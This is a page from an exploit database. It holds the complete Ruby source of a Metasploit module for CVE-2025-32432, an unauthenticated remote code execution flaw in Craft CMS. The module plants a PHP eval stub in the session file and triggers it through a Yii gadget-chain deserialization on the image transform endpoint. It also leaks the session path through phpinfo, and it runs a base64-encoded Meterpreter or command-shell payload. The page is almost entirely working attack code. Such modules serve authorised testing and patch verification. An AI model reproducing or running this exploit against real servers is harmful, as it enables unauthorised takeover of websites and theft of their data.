Sploitus

Exploit for Craft CMS Image Transform Preauth RCE

metasploit · 2025-05-01

Exploit Code

ruby235 lines
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-CRAFTCMS_PREAUTH_RCE_CVE_2025_32432-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Payload::Php
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Craft CMS Image Transform Preauth RCE (CVE-2025-32432)',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability
          in Craft CMS versions 3.x, 4.x, and 5.x < 5.6.17 via the image transform endpoint.
          It injects a PHP Meterpreter payload into the Craft session, then triggers its execution
          by abusing the Yii behavior gadget chain (PhpManager) on the generate-transform endpoint.
          Discovered in the wild by Orange Cyberdefense CSIRT and assigned CVE-2025-32432.
        },
        'Author' => [
          'Nicolas Bourras (Orange Cyberdefense)', # Research + PoC
          'Valentin Lobstein'                      # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-32432' ],
          [ 'EDB', '52525' ],
          [ 'URL', 'https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/' ],
          [ 'URL', 'https://blog.onyphe.io/en/cve-2025-32432-0day-craft-cms-discovered-by-orange-cyberdefense/' ]
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %(unix linux),
              'Arch' => ARCH_CMD
            }
          ],
        ],
        'Privileged' => false,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DisclosureDate' => '2025-04-14',
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptInt.new('ASSET_ID', [true, 'Existing asset ID', Rex::Text.rand_text_numeric(2..3)])
    ])
  end

  def execute_via_session(payload)
    session_id, csrf, param_name = fetch_cookies_and_csrf
    return nil unless csrf

    vprint_status("Session ID: #{session_id} – stub injected under param #{param_name}")

    session_dir = @session_path || '/var/lib/php/sessions'
    session_file = normalize_uri(session_dir, "sess_#{session_id}")

    body = {
      assetId: datastore['ASSET_ID'],
      handle: {
        width: Rex::Text.rand_text_numeric(1..5),
        height: Rex::Text.rand_text_numeric(1..5),
        "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
          class: 'craft\\behaviors\\FieldLayoutBehavior',
          __class: 'yii\\rbac\\PhpManager',
          '__construct()' => [
            { itemFile: session_file }
          ]
        }
      }
    }.to_json

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => {
        'p' => 'actions/assets/generate-transform',
        param_name => payload
      },
      'headers' => { 'X-CSRF-Token' => csrf },
      'ctype' => 'application/json',
      'data' => body,
      'keep_cookies' => true
    )
  end

  def fetch_cookies_and_csrf
    param_name = Rex::Text.rand_text_alphanumeric(5..12)
    static_stub = "<?=eval($_GET['#{param_name}']);die()?>"

    params = {
      'p' => 'admin/dashboard',
      param_name => static_stub
    }

    cookie_jar.clear
    res = send_request_cgi(
      'method' => 'GET',
      'uri_encode_mode' => 'none',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => params
    )
    return nil unless res

    session_id = res.get_cookies[/CraftSessionId=([^;]+)/, 1]
    return nil if session_id.to_s.empty?

    if res.code == 302 && res.headers['Location']
      res = send_request_cgi(
        'method' => 'GET',
        'uri' => res.headers['Location'],
        'keep_cookies' => true
      )
    end

    csrf = extract_csrf_token(res)
    return nil unless csrf

    [session_id, csrf, param_name]
  end

  def extract_csrf_token(res)
    doc = res.get_html_document
    token = doc.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
    return token unless token.to_s.empty?

    vprint_status('CSRF not found in dashboard, falling back to root')
    res2 = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    )
    res2&.get_html_document&.at('//input[@name="CRAFT_CSRF_TOKEN"]/@value')&.text
  end

  def leak_session_path(csrf)
    res = send_transform(csrf, datastore['ASSET_ID'], 'phpinfo')
    return nil unless res&.body

    doc = res.get_html_document

    path = doc.at_xpath(
      "//tr[td[@class='e' and normalize-space(text())='session.save_path']]/td[@class='v']"
    )&.text

    path ||= doc.at_xpath(
      "//h2[normalize-space(text())='Session Save Path']/following-sibling::p[1]"
    )&.text

    path&.strip
  end

  def send_transform(csrf, asset_id, php_string)
    json_data = {
      'assetId' => asset_id,
      'handle' => {
        'width' => Rex::Text.rand_text_numeric(1..5),
        'height' => Rex::Text.rand_text_numeric(1..5),
        "as #{Rex::Text.rand_text_alphanumeric(1..8)}" => {
          'class' => 'craft\\behaviors\\FieldLayoutBehavior',
          '__class' => 'GuzzleHttp\\Psr7\\FnStream',
          '__construct()' => [[]],
          '_fn_close' => php_string
        }
      }
    }.to_json

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'p' => 'admin/actions/assets/generate-transform' },
      'ctype' => 'application/json',
      'headers' => { 'X-CSRF-Token' => csrf },
      'data' => json_data
    )
  end

  def check
    _, csrf, = fetch_cookies_and_csrf
    return CheckCode::Unknown('Could not retrieve session & CSRF') unless csrf

    if (path = leak_session_path(csrf))
      @session_path = path
      print_good("Leaked session.save_path: #{@session_path}")
      return CheckCode::Vulnerable('Session path leaked')
    end

    a = Rex::Text.rand_text_numeric(4).to_i
    b = Rex::Text.rand_text_numeric(4).to_i

    expr = "#{a}+#{b}"
    sum = a + b
    print_status("Checking RCE: #{expr}")

    payload = "print_r(#{expr});"
    res = execute_via_session(payload)
    return CheckCode::Unknown('No response') unless res

    if res.body.include?(sum.to_s)
      CheckCode::Vulnerable("Detected RCE: send #{a}+#{b}, got #{sum}!")
    else
      CheckCode::Safe('Unable to exercise code execution.')
    end
  end

  def exploit
    raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    b64 = Rex::Text.encode_base64(raw)

    payload_code = "eval(base64_decode('#{b64}'));"

    print_status('Injecting stub & triggering payload...')
    execute_via_session(payload_code)
  end
end